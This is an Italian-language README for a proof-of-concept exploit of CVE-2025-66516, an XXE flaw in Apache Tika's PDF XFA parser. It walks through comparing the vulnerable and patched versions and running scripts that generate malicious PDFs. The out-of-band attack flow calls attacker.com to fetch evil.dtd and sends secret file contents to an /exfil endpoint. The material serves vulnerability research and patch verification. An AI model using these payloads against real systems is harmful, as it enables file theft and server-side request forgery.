⚠️ LEGGI IL DISCLAIMER PRIMA DELL'USO ⚠️

Solo uso didattico/test autorizzati | Licenza | Politica di sicurezza

Informazioni su questo POC

Questo repository contiene un exploit proof-of-concept (POC) per CVE-2025-66516, una vulnerabilità di injection XML External Entity (XXE) nelle versioni di Apache Tika precedenti alla 3.2.2. La vulnerabilità interessa il parser XFA (XML Forms Architecture) del componente tika-parser-pdf-module e consente agli attaccanti di leggere file locali ed esfiltrare dati sensibili tramite documenti PDF appositamente creati.

Cos'è la CVE-2025-66516?

La CVE-2025-66516 è una vulnerabilità di sicurezza critica nella funzionalità di parsing PDF di Apache Tika. Durante l'elaborazione di file PDF con moduli XFA incorporati, le versioni di Tika precedenti alla 3.2.2 non riescono a limitare correttamente l'elaborazione delle entità esterne nei parser XML. Ciò consente agli attaccanti di:

• Leggere file arbitrari dal filesystem del server (divulgazione di file locali)
• Esfiltrare dati sensibili verso server esterni (XXE out-of-band)
• Effettuare attacchi SSRF innescando richieste verso risorse di rete interne
• Aggirare i controlli di sicurezza nelle applicazioni che si affidano a Tika per l'elaborazione dei documenti

Dettagli della vulnerabilità

• CVE ID: CVE-2025-66516
• Componente interessato: Apache Tika tika-parser-pdf-module
• Versioni interessate: Apache Tika < 3.2.2
• Versione corretta: Apache Tika 3.2.2 e successive
• Vettore d'attacco: PDF appositamente creati con moduli XFA contenenti payload XXE
• Impatto: violazione della riservatezza, esfiltrazione di dati, server-side request forgery (SSRF)
• Gravità CVSS: Alta
• CVE correlata: CVE-2025-32370 (vulnerabilità XXE simile in Tika)

Contenuto del repository

Questo repository include:

• gen_poc.py - script Python per generare PDF malevoli per attacchi XXE di lettura di file locali
• gen_oob_poc.py - script Python per generare PDF per l'esfiltrazione out-of-band dei dati
• http_listener.py - server HTTP per dimostrare l'esfiltrazione di dati XXE OOB
• DocumentProcessor.java - applicazione Java di esempio che mostra l'integrazione vulnerabile di Tika
• Guida completa di riproduzione passo-passo con output attesi
• Analisi tecnica che confronta la versione vulnerabile con quella corretta
• Documentazione del flusso d'attacco che spiega il meccanismo di sfruttamento

Parole chiave

Apache Tika XXE, CVE-2025-66516 exploit, Tika security vulnerability, XML External Entity attack, PDF XXE injection, Tika 3.2.1 vulnerability, out-of-band XXE, OOB XXE, security research, penetration testing, POC exploit, vulnerability disclosure, XFA parser vulnerability, tika-parser-pdf-module, file disclosure vulnerability, data exfiltration, SSRF attack, secure coding, vulnerability analysis, security testing, ethical hacking, infosec, cybersecurity research, Apache Tika exploit code, XXE payload, PDF security, document parser vulnerability

Ambiente di test

Nota: questo POC è stato testato e verificato su:

• Versioni di Apache Tika: 3.2.1 (vulnerabile) e 3.2.2 (corretta)
• Sistema operativo: Linux - Ubuntu 24.04.3 LTS
• Versione di Java: OpenJDK 17.0.17

Configurazione della directory del POC

Per prima cosa, crea una directory dedicata al POC per mantenere tutti i file organizzati.

mkdir apache_tika_poc
cd apache_tika_poc

Verifica dell'ambiente

Prima di procedere con il POC, verifica che il tuo ambiente abbia le dipendenze richieste. Questi comandi mostreranno le versioni del compilatore/runtime Java e i dettagli del sistema operativo, che sono importanti per riprodurre la vulnerabilità.

# Check Java version
java -version
javac -version

# Check OS version
lsb_release -a

Output atteso: dovresti vedere le informazioni sulla versione di Java (ad es. OpenJDK 17.x.x) e i dettagli della versione di Ubuntu (24.04.3 LTS).

Download dei JAR di Apache Tika

Scarica sia la versione vulnerabile (3.2.1) sia quella corretta (3.2.2) di Apache Tika. Servono entrambe le versioni per dimostrare che la vulnerabilità XXE è presente nella 3.2.1 ed è corretta nella 3.2.2. Il JAR tika-app è un eseguibile all-in-one che include tutti i parser di Tika e le dipendenze.

# Download vulnerable Tika version
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar

# Download patched Tika version  
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar

Output atteso: verranno scaricati due file JAR - tika-app-3.2.1.jar (~75MB) e tika-app-3.2.2.jar (~75MB).

Verifica delle versioni dei componenti

Verifica le versioni esatte ispezionando i file manifest dei JAR. Questo conferma di avere la versione vulnerabile e quella corretta giuste prima di testare.

# Check vulnerable version manifest
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF

# Check patched version manifest
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF

Output atteso: file manifest che mostrano Implementation-Version: 3.2.1 e 3.2.2 rispettivamente, insieme a timestamp di build e altri metadati.

Elenco delle proprietà POM dei componenti

Se osserviamo i Project Object Model (le proprietà POM di Maven definiscono le dipendenze di un progetto, la configurazione di build e i metadati), notiamo che non esiste un modulo tika-parsers separato come menzionato negli advisory di sicurezza - potrebbe essere una questione legata alla versione e l'ipotesi è che nelle versioni 3.2.1 e 3.2.2, incluse nel POC, il modulo tika-parsers sia stato sostituito da moduli parser individuali.

# List all component pom.properties files for both versions
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika

Output atteso: un elenco di tutti i moduli componenti di Tika, inclusi tika-core, tika-parser-pdf-module, tika-xmp, ecc. Noterai moduli parser individuali anziché un singolo modulo tika-parsers.

Controllo delle versioni dei componenti di Tika

Estrai e visualizza le informazioni sulla versione dei componenti principali di Tika. Questo aiuta a comprendere la struttura interna dei moduli e a confermare che sia la libreria core sia il modulo parser PDF siano alle versioni attese.

# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.1
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.2
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

Output atteso: proprietà POM che mostrano version=3.2.1 o version=3.2.2 per ciascun componente, separate da ---. Tutti e tre i componenti (tika-core, tika-parser-pdf-module, tika-app) dovrebbero corrispondere alla versione complessiva.

Creazione del file target per lo sfruttamento XXE

Crea un file fittizio di segreti che sarà il target del nostro attacco XXE. Questo file simula dati sensibili (come chiavi API o credenziali) che un attaccante potrebbe tentare di esfiltrare tramite la vulnerabilità XXE.

# Create target secret file
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt

Output atteso: un file chiamato fake-secrets.txt contenente la stringa INTERNAL_SERVER_KEY=EXPOSED. Questo file verrà letto dall'exploit XXE.

Analisi del codice: confronto tra versione vulnerabile e corretta

Per comprendere la correzione, dobbiamo decompilare e confrontare la classe XMLReaderUtils di entrambe le versioni. Questa classe è responsabile della creazione dei parser XML e la vulnerabilità deriva dal modo in cui configura l'elaborazione delle entità XML.

# Extract vulnerable JAR for analysis
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..

# Extract patched JAR for analysis
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..

# Decompile vulnerable class
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..

# Decompile patched class
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..

# Compare versions
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt

Output atteso: l'estrazione crea due directory con i file di classe decompilati. Il comando javap genera il disassembly bytecode della classe XMLReaderUtils. Il comando diff mostrerà le differenze nella configurazione del parser XML tra le versioni.

Identificare la correzione

Se confrontiamo attentamente, scopriamo che nella 3.2.2 il supporto per le definizioni Doctype (DTD) e le entità esterne è disabilitato - questo è il punto cruciale della correzione:

diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"

Output atteso: vedrai un output del diff che mostra che la versione 3.2.2 aggiunge chiamate per disabilitare l'elaborazione delle DTD e la risoluzione delle entità esterne. Cerca le righe che impostano accessExternalDTD a stringa vuota e supportDTD a false.

POC #1: XXE con lettura di file locale

Questo dimostra il classico attacco XXE in cui un PDF malevolo legge un file locale dal filesystem del server. Lo script Python genera un PDF con un modulo XFA incorporato contenente XML con un payload XXE che fa riferimento a file:///fake-secrets.txt.

# Generate malicious PDF
python3 ./gen_poc.py

# Test with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf

# Test with patched Tika 3.2.2
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf

Output atteso:

• gen_poc.py crea cve_2025_66516_poc.pdf contenente il payload XXE
• Vulnerabile (3.2.1): l'output di Tika includerà INTERNAL_SERVER_KEY=EXPOSED - il contenuto del file segreto!
• Corretta (3.2.2): l'output di Tika NON conterrà i dati segreti; l'attacco XXE viene bloccato

POC #2: XXE out-of-band

Questo dimostra un attacco XXE più sofisticato che utilizza l'esfiltrazione out-of-band (OOB) dei dati. Invece di riflettere il contenuto del file nella risposta, il PDF malevolo costringe Tika a inviare i dati a un server esterno controllato dall'attaccante. Questa tecnica funziona anche quando l'applicazione non restituisce il contenuto parsato.

# Generate out-of-band XXE PDF
python3 ./gen_oob_poc.py

# Start HTTP listener (in separate terminal)
python3 ./http_listener.py

# Test OOB XXE with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf

# Test OOB XXE with patched Tika 3.2.2  
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf

Output atteso:

• gen_oob_poc.py crea cve-2025-66516_OOB_XXE.pdf con payload XXE OOB
• http_listener.py avvia un server sulla porta 8888 e attende le richieste in arrivo
• Vulnerabile (3.2.1): il listener HTTP riceverà due richieste:
  1. richiesta GET per /evil.dtd (recupero della DTD esterna)
  2. richiesta GET a /exfil?data=INTERNAL_SERVER_KEY=EXPOSED (esfiltrazione dati)
• Corretta (3.2.2): nessuna richiesta HTTP ricevuta; l'elaborazione delle entità esterne è bloccata

Test a livello di applicazione

Questo testa la vulnerabilità in uno scenario più realistico in cui Tika viene utilizzato come libreria all'interno di un'applicazione Java (non solo come strumento a riga di comando). Il codice DocumentProcessor.java simula come una tipica applicazione potrebbe integrare Tika per il parsing dei documenti.

# Compile with vulnerable Tika
javac -cp tika-app-3.2.1.jar DocumentProcessor.java

# Run with vulnerable Tika
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

# Compile with patched Tika
javac -cp tika-app-3.2.2.jar DocumentProcessor.java

# Run with patched Tika
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

Output atteso:

• Vulnerabile (3.2.1): il programma stamperà:
  root@kitploit:~

  Document processed successfully!
  Content extracted: [text containing INTERNAL_SERVER_KEY=EXPOSED]
  ⚠️  SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
  

• Corretta (3.2.2): il programma stamperà:
  root@kitploit:~

  Document processed successfully!
  Content extracted: [text WITHOUT secret data]
  ✓ No XXE vulnerability detected.
  

Pulizia

Rimuovi le directory e i file temporanei creati durante la fase di analisi per mantenere pulito l'ambiente di lavoro.

# Remove extraction directories
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt

Output atteso: le directory e i file di testo decompilati verranno rimossi. Non viene visualizzato alcun output a meno che non ci sia un errore.

Comprendere il flusso dell'attacco

Sequenza dell'attacco XXE sul filesystem locale

1. Il PDF contiene uno stream XFA con dichiarazione DOCTYPE + ENTITY
2. Tika rileva l'XFA → chiama XFAExtractor
3. XFAExtractor crea il parser XML tramite XMLReaderUtils
4. Il parser elabora il DOCTYPE e registra l'entità xxe
5. Il parser incontra il riferimento &xxe;
6. Il parser risolve l'entità → legge file:///fake-secrets.txt
7. Il contenuto del file viene inserito nell'XML nella posizione di &xxe;
8. XFAExtractor estrae il valore del campo = contenuto del file
9. L'applicazione riceve i dati segreti nell'output di Tika

Sequenza dell'attacco XXE out-of-band (OOB)

1. Il PDF contiene XFA con DOCTYPE che dichiara le entità parametriche (%file, %dtd)
2. Tika rileva l'XFA → chiama XFAExtractor
3. XFAExtractor crea il parser XML tramite XMLReaderUtils
4. Il parser elabora il DOCTYPE e registra l'entità %file → punta a file:///fake-secrets.txt
5. Il parser incontra il riferimento %dtd; → punta a http://attacker.com:8888/evil.dtd
6. Il parser effettua una richiesta HTTP GET al server dell'attaccante per recuperare evil.dtd
7. Il server HTTP dell'attaccante riceve la richiesta e fornisce il contenuto di evil.dtd
8. Il parser elabora evil.dtd: definisce l'entità %payload contenente la definizione di &send
9. evil.dtd espande %payload → crea l'entità &send con l'URL di esfiltrazione
10. L'entità &send contiene: http://attacker.com:8888/exfil?data=%file;
11. Il parser espande %file; nell'URL di &send → contenuto del file inserito
12. Il parser risolve l'entità &send; → effettua una richiesta HTTP GET all'endpoint di esfiltrazione
13. Il server HTTP dell'attaccante riceve la richiesta /exfil con il contenuto del file nel parametro dell'URL
14. L'attaccante estrae i dati dal parametro dell'URL e registra il contenuto del file segreto
15. L'output dell'applicazione è irrilevante → i dati sono già stati esfiltrati al server dell'attaccante

Riferimenti

Advisory di sicurezza ufficiali

• Pagina sulla sicurezza di Apache Tika: https://tika.apache.org/security.html
• NVD - CVE-2025-66516: https://nvd.nist.gov/vuln/detail/CVE-2025-66516
• Database CVE di MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66516
• Apache Tika GitHub: https://github.com/apache/tika

Vulnerabilità correlate

• CVE-2025-54988 - Identificativo CVE precedente che CVE-2025-66516 sostituisce (stessa vulnerabilità, rinumerata)
• CVE-2025-32370 - Vulnerabilità XXE simile in Apache Tika
• Guida OWASP sull'XXE: https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing

Risorse tecniche

• Documentazione di Apache Tika: https://tika.apache.org/
• Tecniche di attacco XXE: https://portswigger.net/web-security/xxe
• Specifica PDF XFA: specifica Adobe XML Forms Architecture (XFA)
• Analisi di sicurezza Upwind: https://www.upwind.io/feed/apache-tika-rce-cve-2025-66516 (riferimento al codice dell'applicazione)

Divulgazione responsabile

Se scopri vulnerabilità di sicurezza, ti preghiamo di segnalarle in modo responsabile:

• Team di sicurezza Apache: [email protected]
• Team di Apache Tika: https://tika.apache.org/mail-lists.html

Tag

apache-tika xxe-vulnerability cve-2025-66516 security-research proof-of-concept xml-external-entity cybersecurity vulnerability-research poc infosec penetration-testing ethical-hacking pdf-security xfa-parser data-exfiltration

Licenza

Questo progetto è rilasciato sotto licenza MIT - consulta il file LICENSE per i dettagli.

Solo uso didattico - Questo POC è destinato esclusivamente a scopi educativi e a test di sicurezza autorizzati. L'uso non autorizzato contro sistemi di cui non si è proprietari o per i quali non si ha il permesso di testare è illegale.

Contributi

I contributi per migliorare questo POC o la documentazione sono benvenuti! Assicurati che ogni contributo:

• Segua le pratiche di divulgazione responsabile
• Includa disclaimer appropriati
• Non includa codice malevolo oltre la dimostrazione didattica
• Mantenga l'attenzione sul valore didattico

Riconoscimenti

• Al team di sicurezza di Apache Tika per il lavoro svolto nella correzione di questa vulnerabilità
• Alla community di ricerca sulla sicurezza per le pratiche di divulgazione responsabile delle vulnerabilità
• Ai contributori di questo repository

Ultimo aggiornamento: dicembre 2025